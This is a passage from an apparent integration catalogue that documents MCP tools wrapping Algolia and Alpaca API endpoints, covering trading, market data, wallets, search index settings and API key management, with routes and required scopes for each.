If you create more, the oldest API keys are deleted and can't be restored. via POST /1/keys/{key}/restore POST /api/v1/algolia/1/keys/{key}/restore. Scopes: admin. algolia_post_1_security_sources_append (write) — Adds a source to the list of allowed sources. via POST /1/security/sources/append POST /api/v1/algolia/1/security/sources/append. Scopes: admin. algolia_post_3_patterns_distribution (write) — Buckets one or more numeric fields into histograms and returns an object keyed by `histogram`, each mapping a bin label to a count. `distributions` and `parameters` are required; `filters` is optional. Discover valid field kinds per domain with `/3/patterns/fields`. via POST /3/patterns/distribution POST /api/v1/algolia/3/patterns/distribution. Scopes: analytics. algolia_post_3_patterns_scalar (write) — Aggregates the requested `metrics` over the whole period and returns a single object keyed by metric kind. `metrics` and `parameters` are required; `filters` is optional. Discover valid field kinds per domain with `/3/patterns/fields`. via POST /3/patterns/scalar POST /api/v1/algolia/3/patterns/scalar. Scopes: analytics. algolia_post_3_patterns_table (write) — Returns `rows`, each a flat object of the requested fields. `metrics` and `parameters` are required; `groupBy`, `filters`, and `orderBy` are optional, though `orderBy` is required when `groupBy` is set. Discover valid field kinds per domain with `/3/patterns/fields`. via POST /3/patterns/table POST /api/v1/algolia/3/patterns/table. Scopes: analytics. algolia_post_3_patterns_timeseries (write) — Returns one time series per `groupBy` combination, each with period `totals` and a per-day metric breakdown. `metrics` and `parameters` are required; `groupBy` and `filters` are optional. Discover valid field kinds per domain with `/3/patterns/fields`. via POST /3/patterns/timeseries POST /api/v1/algolia/3/patterns/timeseries. Scopes: analytics. algolia_put_1_configs_by_indexname (write) — Updates a QuerySuggestions configuration. via PUT /1/configs/{indexName} PUT /api/v1/algolia/1/configs/{indexName}. Scopes: editSettings. algolia_put_1_dictionaries_settings (write) — Turns standard stop word dictionary entries on or off for a given language. via PUT /1/dictionaries/*/settings PUT /api/v1/algolia/1/dictionaries/*/settings. Scopes: editSettings. algolia_put_1_indexes_by_indexname_by_objectid (write) — If a record with the specified object ID exists, the existing record is replaced. Otherwise, a new record is added to the index. If you want to use auto-generated object IDs, use the [`saveObject` operation](https://www.algolia.com/doc/rest-api/search/save-object). To update _some_ attributes of an existing record, use the [`partial` operation](https://www.algolia.com/doc/rest-api/search/partial-update-object) instead. To add, update, or replace multiple records, use the [`batch` operation](https://www.algolia.com/doc/rest-api/search/batch). via PUT /1/indexes/{indexName}/{objectID} PUT /api/v1/algolia/1/indexes/{indexName}/{objectID}. Scopes: addObject. algolia_put_1_indexes_by_indexname_rules_by_objectid (write) — If a rule with the specified object ID doesn't exist, it's created. Otherwise, the existing rule is replaced. To create or update more than one rule, use the [`batch` operation](https://www.algolia.com/doc/rest-api/search/save-rules). via PUT /1/indexes/{indexName}/rules/{objectID} PUT /api/v1/algolia/1/indexes/{indexName}/rules/{objectID}. Scopes: editSettings. algolia_put_1_indexes_by_indexname_settings (write) — Update the specified index settings. Index settings that you don't specify are left unchanged. Specify `null` to reset a setting to its default value. For best performance, update the index settings before you add new records to your index. via PUT /1/indexes/{indexName}/settings PUT /api/v1/algolia/1/indexes/{indexName}/settings. Scopes: editSettings. algolia_put_1_indexes_by_indexname_synonyms_by_objectid (write) — If a synonym with the specified object ID doesn't exist, Algolia adds a new one. Otherwise, the existing synonym is replaced. To add multiple synonyms in a single API request, use the [`batch` operation](https://www.algolia.com/doc/rest-api/search/save-synonyms). via PUT /1/indexes/{indexName}/synonyms/{objectID} PUT /api/v1/algolia/1/indexes/{indexName}/synonyms/{objectID}. Scopes: editSettings. algolia_put_1_keys_by_key (write) — Replaces the permissions of an existing API key. Any unspecified attribute resets that attribute to its default value. via PUT /1/keys/{key} PUT /api/v1/algolia/1/keys/{key}. Scopes: admin. algolia_put_1_security_sources (write) — Replaces the list of allowed sources. via PUT /1/security/sources PUT /api/v1/algolia/1/security/sources. Scopes: admin. ================================================================================ ## Alpaca URL: https://www.agenticfabriq.com/integrations/alpaca Section: Integrated Tools Alpaca — 100 MCP tools Provider key: alpaca. Scopes: account:write, data, trading. Connect: BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. alpaca_delete_v2_orders (write, destructive) — Attempts to cancel all open orders. A response will be provided for each order that is attempted to be cancelled. If an order is no longer cancelable, the server will respond with status 500 and reject the request. via DELETE /v2/orders DELETE /api/v1/alpaca/v2/orders. Scopes: trading. alpaca_delete_v2_orders_by_order_id (write, destructive) — Attempts to cancel an Open Order. If the order is no longer cancelable, the request will be rejected with status 422; otherwise accepted with return status 204. via DELETE /v2/orders/{order_id} DELETE /api/v1/alpaca/v2/orders/{order_id}. Scopes: trading. alpaca_delete_v2_positions (write, destructive) — Closes (liquidates) all of the account's open long and short positions. A response will be provided for each order that is attempted to be cancelled. If an order is no longer cancelable, the server will respond with status 500 and reject the request. via DELETE /v2/positions DELETE /api/v1/alpaca/v2/positions. Scopes: trading. alpaca_delete_v2_positions_by_symbol_or_asset_id (write, destructive) — Closes (liquidates) the account's open position for the given symbol. Works for both long and short positions. via DELETE /v2/positions/{symbol_or_asset_id} DELETE /api/v1/alpaca/v2/positions/{symbol_or_asset_id}. Scopes: trading. alpaca_delete_v2_wallets_whitelists_by_whitelisted_address_id (write, destructive) — Deletes a whitelisted withdrawal address by ID. Subsequent withdrawals targeting the deleted address will be rejected. via DELETE /v2/wallets/whitelists/{whitelisted_address_id} DELETE /api/v1/alpaca/v2/wallets/whitelists/{whitelisted_address_id}. Scopes: account:write. alpaca_delete_v2_watchlists_by_name (write, destructive) — Delete a watchlist. This is a permanent deletion. via DELETE /v2/watchlists:by_name DELETE /api/v1/alpaca/v2/watchlists:by_name. Scopes: trading. alpaca_delete_v2_watchlists_by_watchlist_id (write, destructive) — Delete a watchlist. This is a permanent deletion. via DELETE /v2/watchlists/{watchlist_id} DELETE /api/v1/alpaca/v2/watchlists/{watchlist_id}. Scopes: trading. alpaca_delete_v2_watchlists_by_watchlist_id_by_symbol (write, destructive) — Delete one entry for an asset by symbol name via DELETE /v2/watchlists/{watchlist_id}/{symbol} DELETE /api/v1/alpaca/v2/watchlists/{watchlist_id}/{symbol}. Scopes: trading. alpaca_get_v1_corporate_actions (read) — Market data: This endpoint provides data about the corporate actions for each given symbol over a specified time period. By default (`data_quality=complete`), corporate actions that are still incomplete (for example, missing required fields such as ex-date or CUSIP/ISIN) and have not yet been processed are excluded from the response. Pass `data_quality=all` to also receive those early, incomplete records. Already-processed corporate actions are always returned when `data_quality=complete`, even if they would otherwise be considered incomplete. > ⚠️ Warning > > Currently Alpaca has no guarantees on the creation time of corporate actions. There may be delays in receiving corporate actions from our data providers, and there may be delays in processing and making them available via this API. As a result, corporate actions may not be available immediately after they are announced. via GET /v1/corporate-actions GET /api/v1/alpaca/v1/corporate-actions. Scopes: data. alpaca_get_v1_locates (read) — Returns locates filtered by status, symbol, or date range. Results are sorted by `created_at` descending, with `id` descending as the tie-breaker. via GET /v1/locates GET /api/v1/alpaca/v1/locates. Scopes: none. alpaca_get_v1_locates_by_locate_id (read) — Returns a locate by ID. via GET /v1/locates/{locate_id} GET /api/v1/alpaca/v1/locates/{locate_id}. Scopes: none. alpaca_get_v1_locates_quotes (read) — Returns locate availability and pricing for one or more symbols. via GET /v1/locates/quotes GET /api/v1/alpaca/v1/locates/quotes. Scopes: none. alpaca_get_v1beta1_fixed_income_latest_prices (read) — Market data: This endpoint returns the latest prices for the given fixed income securities. via GET /v1beta1/fixed_income/latest/prices GET /api/v1/alpaca/v1beta1/fixed_income/latest/prices. Scopes: data. alpaca_get_v1beta1_fixed_income_latest_quotes (read) — Market data: This endpoint returns the latest quotes for the given fixed income securities. via GET /v1beta1/fixed_income/latest/quotes GET /api/v1/alpaca/v1beta1/fixed_income/latest/quotes. Scopes: data. alpaca_get_v1beta1_forex_latest_rates (read) — Market data: Get the latest forex rates for the given currency pairs. via GET /v1beta1/forex/latest/rates GET /api/v1/alpaca/v1beta1/forex/latest/rates. Scopes: data. alpaca_get_v1beta1_forex_rates (read) — Market data: Get historical forex rates for the given currency pairs in the given time interval and at the given timeframe (snapshot frequency). via GET /v1beta1/forex/rates GET /api/v1/alpaca/v1beta1/forex/rates. Scopes: data. alpaca_get_v1beta1_news (read) — Market data: Returns the latest news articles across stocks and crypto. By default, returns the latest 10 news articles. via GET /v1beta1/news GET /api/v1/alpaca/v1beta1/news. Scopes: data. alpaca_get_v1beta1_options_bars (read) — Market data: The historical option bars API provides aggregates for a list of option symbols between the specified dates. The returned results are sorted by symbol first, then by bar timestamp. This means that you are likely to see only one symbol in your first response if there are enough bars for that symbol to hit the limit you requested. In these situations, if you keep requesting again with the `next_page_token` from the previous response, you will eventually reach the other symbols if any bars were found for them. via GET /v1beta1/options/bars GET /api/v1/alpaca/v1beta1/options/bars. Scopes: data. alpaca_get_v1beta1_options_meta_conditions_by_ticktype (read) — Market data: Returns the mapping between the condition codes and names. via GET /v1beta1/options/meta/conditions/{ticktype} GET /api/v1/alpaca/v1beta1/options/meta/conditions/{ticktype}. Scopes: data. alpaca_get_v1beta1_options_meta_exchanges (read) — Market data: Returns the mapping between the option exchange codes and the corresponding exchange names. via GET /v1beta1/options/meta/exchanges GET /api/v1/alpaca/v1beta1/options/meta/exchanges. Scopes: data. alpaca_get_v1beta1_options_quotes_latest (read) — Market data: The latest multi-quotes endpoint provides the latest bid and ask prices for each given contract symbol. via GET /v1beta1/options/quotes/latest GET /api/v1/alpaca/v1beta1/options/quotes/latest. Scopes: data. alpaca_get_v1beta1_options_snapshots (read) — Market data: The snapshots endpoint provides the latest trade, latest quote and greeks for each given contract symbol. via GET /v1beta1/options/snapshots GET /api/v1/alpaca/v1beta1/options/snapshots. Scopes: data. alpaca_get_v1beta1_options_snapshots_by_underlying_symbol (read) — Market data: The option chain endpoint provides the latest trade, latest quote, and greeks for each contract symbol of the underlying symbol. via GET /v1beta1/options/snapshots/{underlying_symbol} GET /api/v1/alpaca/v1beta1/options/snapshots/{underlying_symbol}. Scopes: data. alpaca_get_v1beta1_options_trades (read) — Market data: The historical option trades API provides trade data for a list of contract symbols between the specified dates. The returned results are sorted by symbol first then by trade timestamp. This means that you are likely to see only one symbol in your first response if there are enough trades for that symbol to hit the limit you requested. In these situations, if you keep requesting again with the `next_page_token` from the previous response, you will eventually reach the other symbols if any trades were found for them. via GET /v1beta1/options/trades GET /api/v1/alpaca/v1beta1/options/trades. Scopes: data. alpaca_get_v1beta1_options_trades_latest (read) — Market data: The latest multi-trades endpoint provides the latest historical trade data for multiple given contract symbols. via GET /v1beta1/options/trades/latest GET /api/v1/alpaca/v1beta1/options/trades/latest. Scopes: data. alpaca_get_v1beta1_screener_by_market_type_movers (read) — Market data: Returns the top market movers (gainers and losers) based on real time SIP data. The change for each symbol is calculated from the previous closing price and the latest closing price. For stocks, the endpoint resets at market open. Until then, it shows the previous market day's movers. The data is split-adjusted. Only tradable symbols in exchanges are included. For crypto, the endpoint resets at midnight. via GET /v1beta1/screener/{market_type}/movers GET /api/v1/alpaca/v1beta1/screener/{market_type}/movers. Scopes: data. alpaca_get_v1beta1_screener_stocks_most_actives (read) — Market data: Returns the most active stocks by volume or trade count based on real time SIP data. By default, returns the top 10 symbols by volume. via GET /v1beta1/screener/stocks/most-actives GET /api/v1/alpaca/v1beta1/screener/stocks/most-actives. Scopes: data. alpaca_get_v1beta3_crypto_by_loc_bars (read) — Market data: The crypto bars API provides historical aggregates for a list of crypto symbols between the specified dates. via GET /v1beta3/crypto/{loc}/bars GET /api/v1/alpaca/v1beta3/crypto/{loc}/bars. Scopes: data. alpaca_get_v1beta3_crypto_by_loc_latest_bars (read) — Market data: The latest multi-bars endpoint returns the latest minute-aggregated historical bar data for each of the crypto symbols provided. via GET /v1beta3/crypto/{loc}/latest/bars GET /api/v1/alpaca/v1beta3/crypto/{loc}/latest/bars. Scopes: data. alpaca_get_v1beta3_crypto_by_loc_latest_orderbooks (read) — Market data: The latest orderbook endpoint returns the latest bid and ask orderbook for the crypto symbols provided. via GET /v1beta3/crypto/{loc}/latest/orderbooks GET /api/v1/alpaca/v1beta3/crypto/{loc}/latest/orderbooks. Scopes: data. alpaca_get_v1beta3_crypto_by_loc_latest_quotes (read) — Market data: The latest quotes endpoint returns the latest bid and ask prices for the crypto symbols provided. via GET /v1beta3/crypto/{loc}/latest/quotes GET /api/v1/alpaca/v1beta3/crypto/{loc}/latest/quotes. Scopes: data. alpaca_get_v1beta3_crypto_by_loc_latest_trades (read) — Market data: The latest trades endpoint returns the latest trade data for the crypto symbols provided. via GET /v1beta3/crypto/{loc}/latest/trades GET /api/v1/alpaca/v1beta3/crypto/{loc}/latest/trades. Scopes: data. alpaca_get_v1beta3_crypto_by_loc_quotes (read) — Market data: The crypto quotes API provides historical quote data for a list of crypto symbols between the specified dates. The oldest date to retrieve historical quotes of us-1 location is 14th October, 2025 12AM UTC. via GET /v1beta3/crypto/{loc}/quotes GET /api/v1/alpaca/v1beta3/crypto/{loc}/quotes. Scopes: data. alpaca_get_v1beta3_crypto_by_loc_snapshots (read) — Market data: The snapshots endpoint returns the latest trade, latest quote, latest minute bar, latest daily bar, and previous daily bar data for crypto symbols. via GET /v1beta3/crypto/{loc}/snapshots GET /api/v1/alpaca/v1beta3/crypto/{loc}/snapshots. Scopes: data. alpaca_get_v1beta3_crypto_by_loc_trades (read) — Market data: The crypto trades API provides historical trade data for a list of crypto symbols between the specified dates. via GET /v1beta3/crypto/{loc}/trades GET /api/v1/alpaca/v1beta3/crypto/{loc}/trades. Scopes: data. alpaca_get_v2_account (read) — Returns your account details. via GET /v2/account GET /api/v1/alpaca/v2/account. Scopes: none. alpaca_get_v2_account_activities (read) — Returns a list of activities Notes: * Pagination is handled using the `page_token` and `page_size` parameters. * `page_token` represents the ID of the last item on your current page of results. For example, if the ID of the last activity in your first response is `20220203000000000::045b3b8d-c566-4bef-b741-2bf598dd6ae7`, you would pass that value as `page_token` to retrieve the next page of results. via GET /v2/account/activities GET /api/v1/alpaca/v2/account/activities. Scopes: none. alpaca_get_v2_account_activities_by_activity_type (read) — Returns account activity entries for a specific type of activity. via GET /v2/account/activities/{activity_type} GET /api/v1/alpaca/v2/account/activities/{activity_type}. Scopes: none. alpaca_get_v2_account_configurations (read) — gets the current account configuration values via GET /v2/account/configurations GET /api/v1/alpaca/v2/account/configurations. Scopes: none. alpaca_get_v2_account_portfolio_history (read) — Returns timeseries data about equity and profit/loss (P/L) of the account in requested timespan. via GET /v2/account/portfolio/history GET /api/v1/alpaca/v2/account/portfolio/history. Scopes: none. alpaca_get_v2_assets (read) — The assets API serves as the master list of assets available for trade and data consumption from Alpaca. Assets are sorted by asset class, exchange and symbol. via GET /v2/assets GET /api/v1/alpaca/v2/assets. Scopes: none. alpaca_get_v2_assets_by_symbol_or_asset_id (read) — Get the asset model for a given symbol or asset_id. The symbol or asset_id should be passed in as a path parameter. **Note**: For crypto, the symbol has to follow old symbology, e.g. BTCUSD. **Note**: For coin pairs, the symbol should be separated by a slash (/), e.g. BTC/USDT. Since the slash is a special character in HTTP, use the URL encoded version instead, e.g. /v2/assets/BTC%2FUSDT via GET /v2/assets/{symbol_or_asset_id} GET /api/v1/alpaca/v2/assets/{symbol_or_asset_id}. Scopes: none. alpaca_get_v2_calendar (read) — The calendar API serves the full list of market days from 1970 to 2029. It can also be queried by specifying a start and/or end time to narrow down the results. In addition to the dates, the response also contains the specific open and close times for the market days, taking into account early closures. via GET /v2/calendar GET /api/v1/alpaca/v2/calendar. Scopes: none. alpaca_get_v2_clock (read) — The clock API serves the current market timestamp, whether or not the market is currently open, as well as the times of the next market open and close. via GET /v2/clock GET /api/v1/alpaca/v2/clock. Scopes: none. alpaca_get_v2_corporate_actions_announcements (read) — This endpoint is deprecated, please use [the new corporate actions endpoint](https://docs.alpaca.markets/reference/corporateactions-1) instead. via GET /v2/corporate_actions/announcements GET /api/v1/alpaca/v2/corporate_actions/announcements. Scopes: none. alpaca_get_v2_corporate_actions_announcements_by_id (read) — This endpoint is deprecated, please use [the new corporate actions endpoint](https://docs.alpaca.markets/reference/corporateactions-1) instead. via GET /v2/corporate_actions/announcements/{id} GET /api/v1/alpaca/v2/corporate_actions/announcements/{id}. Scopes: none. alpaca_get_v2_options_contracts (read) — This endpoint allows you to retrieve a list of option contracts based on various filtering criteria. By default only active contracts that expire before the upcoming weekend are returned. via GET /v2/options/contracts GET /api/v1/alpaca/v2/options/contracts. Scopes: none. alpaca_get_v2_options_contracts_by_symbol_or_id (read) — Get an option contract by symbol or contract ID. The symbol or id should be passed in as a path parameter. via GET /v2/options/contracts/{symbol_or_id} GET /api/v1/alpaca/v2/options/contracts/{symbol_or_id}. Scopes: none. alpaca_get_v2_orders (read) — Retrieves a list of orders for the account, filtered by the supplied query parameters. via GET /v2/orders GET /api/v1/alpaca/v2/orders. Scopes: none. alpaca_get_v2_orders_by_client_order_id (read) — Retrieves a single order specified by the client order ID. via GET /v2/orders:by_client_order_id GET /api/v1/alpaca/v2/orders:by_client_order_id. Scopes: none. alpaca_get_v2_orders_by_order_id (read) — Retrieves a single order for the given order_id. via GET /v2/orders/{order_id} GET /api/v1/alpaca/v2/orders/{order_id}. Scopes: none. alpaca_get_v2_positions (read) — The positions API provides information about an account's current open positions. The response will include information such as cost basis, shares traded, and market value, which will be updated live as price information is updated. Once a position is closed, it will no longer be queryable through this API Retrieves a list of the account's open positions via GET /v2/positions GET /api/v1/alpaca/v2/positions. Scopes: none. alpaca_get_v2_positions_by_symbol_or_asset_id (read) — Retrieves the account's open position for the given symbol or assetId. via GET /v2/positions/{symbol_or_asset_id} GET /api/v1/alpaca/v2/positions/{symbol_or_asset_id}. Scopes: none. alpaca_get_v2_stocks_auctions (read) — Market data: The historical auctions endpoint provides auction prices for a list of stock symbols between the specified dates. via GET /v2/stocks/auctions GET /api/v1/alpaca/v2/stocks/auctions. Scopes: data. alpaca_get_v2_stocks_bars (read) — Market data: The historical stock bars API provides aggregates for a list of stock symbols between the specified dates. The returned results are sorted by symbol first, then by bar timestamp. This means that you are likely to see only one symbol in your first response if there are enough bars for that symbol to hit the limit you requested. In these situations, if you keep requesting again with the `next_page_token` from the previous response, you will eventually reach the other symbols if any bars were found for them. via GET /v2/stocks/bars GET /api/v1/alpaca/v2/stocks/bars. Scopes: data. alpaca_get_v2_stocks_bars_latest (read) — Market data: The latest bars endpoint provides the latest minute bar for the given ticker symbols. via GET /v2/stocks/bars/latest GET /api/v1/alpaca/v2/stocks/bars/latest. Scopes: data. alpaca_get_v2_stocks_by_symbol_auctions (read) — Market data: The historical auctions endpoint provides auction prices for the given stock symbol between the specified dates. via GET /v2/stocks/{symbol}/auctions GET /api/v1/alpaca/v2/stocks/{symbol}/auctions. Scopes: data. alpaca_get_v2_stocks_by_symbol_bars (read) — Market data: The historical stock bars API provides aggregates for the stock symbol between the specified dates. via GET /v2/stocks/{symbol}/bars GET /api/v1/alpaca/v2/stocks/{symbol}/bars. Scopes: data. alpaca_get_v2_stocks_by_symbol_bars_latest (read) — Market data: The latest bar endpoint returns the latest minute bar for the given ticker symbol. via GET /v2/stocks/{symbol}/bars/latest GET /api/v1/alpaca/v2/stocks/{symbol}/bars/latest. Scopes: data. alpaca_get_v2_stocks_by_symbol_quotes (read) — Market data: The historical stock quotes API provides quote data for a stock symbol between the specified dates. via GET /v2/stocks/{symbol}/quotes GET /api/v1/alpaca/v2/stocks/{symbol}/quotes. Scopes: data. alpaca_get_v2_stocks_by_symbol_quotes_latest (read) — Market data: The latest quote endpoint provides the latest best bid and ask prices for a given ticker symbol. via GET /v2/stocks/{symbol}/quotes/latest GET /api/v1/alpaca/v2/stocks/{symbol}/quotes/latest. Scopes: data. alpaca_get_v2_stocks_by_symbol_snapshot (read) — Market data: The snapshot endpoint provides the latest trade, latest quote, minute bar, daily bar, and previous daily bar data for a given ticker symbol. via GET /v2/stocks/{symbol}/snapshot GET /api/v1/alpaca/v2/stocks/{symbol}/snapshot. Scopes: data. alpaca_get_v2_stocks_by_symbol_trades (read) — Market data: The historical stock trades API provides trade data for a stock symbol between the specified dates. via GET /v2/stocks/{symbol}/trades GET /api/v1/alpaca/v2/stocks/{symbol}/trades. Scopes: data. alpaca_get_v2_stocks_by_symbol_trades_latest (read) — Market data: The latest trade endpoint provides the latest trade for the given ticker symbol. Trades with any conditions that causes them to not update the bar price are excluded. For example a trade with condition `I` (odd lot) will never appear on this endpoint. You can find the complete list of excluded conditions in [this FAQ](https://docs.alpaca.markets/docs/market-data-faq#how-are-bars-aggregated). via GET /v2/stocks/{symbol}/trades/latest GET /api/v1/alpaca/v2/stocks/{symbol}/trades/latest. Scopes: data. alpaca_get_v2_stocks_meta_conditions_by_ticktype (read) — Market data: Returns the mapping between the condition codes and names. via GET /v2/stocks/meta/conditions/{ticktype} GET /api/v1/alpaca/v2/stocks/meta/conditions/{ticktype}. Scopes: data. alpaca_get_v2_stocks_meta_exchanges (read) — Market data: Returns the mapping between the stock exchange codes and the corresponding exchange names. via GET /v2/stocks/meta/exchanges GET /api/v1/alpaca/v2/stocks/meta/exchanges. Scopes: data. alpaca_get_v2_stocks_quotes (read) — Market data: The historical stock quotes API provides quote data for a list of stock symbols between the specified dates. The returned results are sorted by symbol first, then by the quote timestamp. This means that you are likely to see only one symbol in your first response if there are enough quotes for that symbol to hit the limit you requested. In these situations, if you keep requesting again with the `next_page_token` from the previous response, you will eventually reach the other symbols if any quotes were found for them. via GET /v2/stocks/quotes GET /api/v1/alpaca/v2/stocks/quotes. Scopes: data. alpaca_get_v2_stocks_quotes_latest (read) — Market data: The latest quotes endpoint provides the latest best bid and ask prices for the given ticker symbols. via GET /v2/stocks/quotes/latest GET /api/v1/alpaca/v2/stocks/quotes/latest. Scopes: data. alpaca_get_v2_stocks_snapshots (read) — Market data: The snapshot endpoint for multiple tickers provides the latest trade, latest quote, minute bar, daily bar, and previous daily bar data for each given ticker symbol. via GET /v2/stocks/snapshots GET /api/v1/alpaca/v2/stocks/snapshots. Scopes: data. alpaca_get_v2_stocks_trades (read) — Market data: The historical stock trades API provides trade data for a list of stock symbols between the specified dates. The returned results are sorted by symbol first then by trade timestamp. This means that you are likely to see only one symbol in your first response if there are enough trades for that symbol to hit the limit you requested. In these situations, if you keep requesting again with the `next_page_token` from the previous response, you will eventually reach the other symbols if any trades were found for them. via GET /v2/stocks/trades GET /api/v1/alpaca/v2/stocks/trades. Scopes: data. alpaca_get_v2_stocks_trades_latest (read) — Market data: The latest trades endpoint provides the latest trades for the given ticker symbols. Trades with any conditions that causes them to not update the bar price are excluded. For example a trade with condition `I` (odd lot) will never appear on this endpoint. You can find the complete list of excluded conditions in [this FAQ](https://docs.alpaca.markets/docs/market-data-faq#how-are-bars-aggregated). via GET /v2/stocks/trades/latest GET /api/v1/alpaca/v2/stocks/trades/latest. Scopes: data. alpaca_get_v2_tokenization_requests (read) — An Authorized Participant can use this endpoint to list the tokenization requests performed on the Instant Tokenization Network (ITN). via GET /v2/tokenization/requests GET /api/v1/alpaca/v2/tokenization/requests. Scopes: none. alpaca_get_v2_tokenization_requests_by_client_request_id (read) — An Authorized Participant can use this endpoint to retrieve a single mint tokenization request by their own `client_request_id` -- the AP-supplied label originally passed on the mint request. If the AP has reused a `client_request_id` across multiple requests, the most recently created request is returned. via GET /v2/tokenization/requests:by_client_request_id GET /api/v1/alpaca/v2/tokenization/requests:by_client_request_id. Scopes: none. alpaca_get_v2_tokenization_requests_by_tokenization_request_id (read) — An Authorized Participant can use this endpoint to retrieve a single tokenization request, mint or redeem, by its `tokenization_request_id`. via GET /v2/tokenization/requests/{tokenization_request_id} GET /api/v1/alpaca/v2/tokenization/requests/{tokenization_request_id}. Scopes: none. alpaca_get_v2_wallets (read) — Lists wallets for the account given in the path parameter. If an asset is specified and no wallet for the account and asset pair exists one will be created. If no asset is specified only existing wallets will be listed for the account. An account may have at most one wallet per asset. via GET /v2/wallets GET /api/v1/alpaca/v2/wallets. Scopes: none. alpaca_get_v2_wallets_fees_estimate (read) — Returns the estimated on-chain network (gas) fee for a proposed crypto withdrawal at current chain conditions. Pass the `asset`, `from_address`, `to_address`, and `amount` you intend to send; the response reports the network fee that would be charged for the corresponding transaction. via GET /v2/wallets/fees/estimate GET /api/v1/alpaca/v2/wallets/fees/estimate. Scopes: none. alpaca_get_v2_wallets_transfers (read) — Returns an array of all transfers associated with the given account across all wallets. via GET /v2/wallets/transfers GET /api/v1/alpaca/v2/wallets/transfers. Scopes: none. alpaca_get_v2_wallets_transfers_by_transfer_id (read) — Returns a specific wallet transfer by passing into the query the transfer_id. via GET /v2/wallets/transfers/{transfer_id} GET /api/v1/alpaca/v2/wallets/transfers/{transfer_id}. Scopes: none. alpaca_get_v2_wallets_travel_rule_vasps (read) — Search for Virtual Asset Service Providers, or crypto exchanges, on Notabene's network. This endpoint can be used to find the VASP DID for your beneficiary's exchange when submitting travel rule information for your whitelisted wallets. Use the `q` parameter to search for exchanges. via GET /v2/wallets/travel-rule/vasps GET /api/v1/alpaca/v2/wallets/travel-rule/vasps. Scopes: none. alpaca_get_v2_wallets_whitelists (read) — Returns the list of whitelisted withdrawal addresses for your account. via GET /v2/wallets/whitelists GET /api/v1/alpaca/v2/wallets/whitelists. Scopes: none. alpaca_get_v2_watchlists (read) — Returns the list of watchlists registered under the account. via GET /v2/watchlists GET /api/v1/alpaca/v2/watchlists. Scopes: none. alpaca_get_v2_watchlists_by_name (read) — You can also call GET, PUT, POST and DELETE with watchlist name with another endpoint /v2/watchlists:by_name and query parameter name=, instead of /v2/watchlists/{watchlist_id} endpoints Returns a watchlist by name via GET /v2/watchlists:by_name GET /api/v1/alpaca/v2/watchlists:by_name. Scopes: none. alpaca_get_v2_watchlists_by_watchlist_id (read) — Returns a watchlist identified by the ID. via GET /v2/watchlists/{watchlist_id} GET /api/v1/alpaca/v2/watchlists/{watchlist_id}. Scopes: none. alpaca_get_v3_calendar_by_market (read) — This endpoint returns the market calendar. via GET /v3/calendar/{market} GET /api/v1/alpaca/v3/calendar/{market}. Scopes: none. alpaca_get_v3_clock (read) — This API serves information about multiple markets: the current time, if it's a market day, the current phase of the market, etc. via GET /v3/clock GET /api/v1/alpaca/v3/clock. Scopes: none. alpaca_patch_v2_account_configurations (write) — Updates and returns the current account configuration values via PATCH /v2/account/configurations PATCH /api/v1/alpaca/v2/account/configurations. Scopes: account:write. alpaca_patch_v2_orders_by_order_id (write) — Replaces a single order with updated parameters. Each parameter overrides the corresponding attribute of the existing order. The other attributes remain the same as the existing order. A success return code from a replaced order does NOT guarantee the existing open order has been replaced. If the existing open order is filled before the replacing (new) order reaches the execution venue, the replacing (new) order is rejected, and these events are sent in the trade_updates stream channel. While an order is being replaced, buying power is reduced by the larger of the two orders that have been placed (the old order being replaced, and the newly placed order to replace it). If you are replacing a buy entry order with a higher limit price than the original order, the buying power is calculated based on the newly placed order. If you are replacing it with a lower limit price, the buying power is calculated based on the old order. Note: Order cannot be replaced when the status is `accepted`, `pending_new`, `pending_cancel` or `pending_replace`. Note: Notional orders for non-IPO asset classes cannot be replaced. Any attempt to modify a non-IPO notional order via this endpoint will be rejected; cancel it and submit a new one instead. Note: IPO indications of interest (`asset_class: "ipo"`) **are** notional and **can** be replaced via this endpoint by providing a new `notional` value. `qty` and `notional` are mutually exclusive on a single replace request. via PATCH /v2/orders/{order_id} PATCH /api/v1/alpaca/v2/orders/{order_id}. Scopes: trading. alpaca_patch_v2_wallets_whitelists_by_whitelisted_address_id_travel_rule_info (write) — You are required to supply travel rule information for the crypto wallets you're withdrawing to. It is preferred that you use the `Search VASPs` endpoint to find the VASP DID for the exchange you are withdrawing to, otherwise, if it's a self-hosted wallet, please set `beneficiary_is_self_hosted` to true. If the exchange cannot be found in our directory, please supply the information manually using the `beneficiary_manual_entry` object. via PATCH /v2/wallets/whitelists/{whitelisted_address_id}/travel-rule-info PATCH /api/v1/alpaca/v2/wallets/whitelists/{whitelisted_address_id}/travel-rule-info. Scopes: account:write. alpaca_post_v1_locates (write) — Creates a locate request for a short sale. **Idempotency**: Reusing the same key with the same request returns the original locate response. Reusing the same key with a different request returns HTTP 422. via POST /v1/locates POST /api/v1/alpaca/v1/locates. Scopes: trading. alpaca_post_v2_orders (write) — Places a new order for the given account. An order request may be rejected if the account is not authorized for trading, or if the tradable balance is insufficient to fill the order. via POST /v2/orders POST /api/v1/alpaca/v2/orders. Scopes: trading. alpaca_post_v2_positions_by_symbol_or_contract_id_do_not_exercise (write) — This endpoint enables users to submit a do-not-exercise (DNE) instruction for a held option contract, preventing automatic exercise at expiry. By default, Alpaca will automatically exercise in-the-money (ITM) contracts at expiry. This endpoint allows users to override that behavior. To override this behavior and submit an exercise instruction, please contact our support team. via POST /v2/positions/{symbol_or_contract_id}/do-not-exercise POST /api/v1/alpaca/v2/positions/{symbol_or_contract_id}/do-not-exercise. Scopes: trading. alpaca_post_v2_positions_by_symbol_or_contract_id_exercise (write) — This endpoint enables users to exercise a held option contract, converting it into the underlying asset based on the specified terms. All available held shares of this option contract will be exercised. By default, Alpaca will automatically exercise in-the-money (ITM) contracts at expiry. Exercise requests will be processed immediately once received. Exercise requests submitted between market close and midnight will be rejected to avoid any confusion about when the exercise will settle. To cancel an exercise request or to submit a Do-not-exercise (DNE) instruction, you can use the do-not-exercise endpoint or contact our support team. via POST 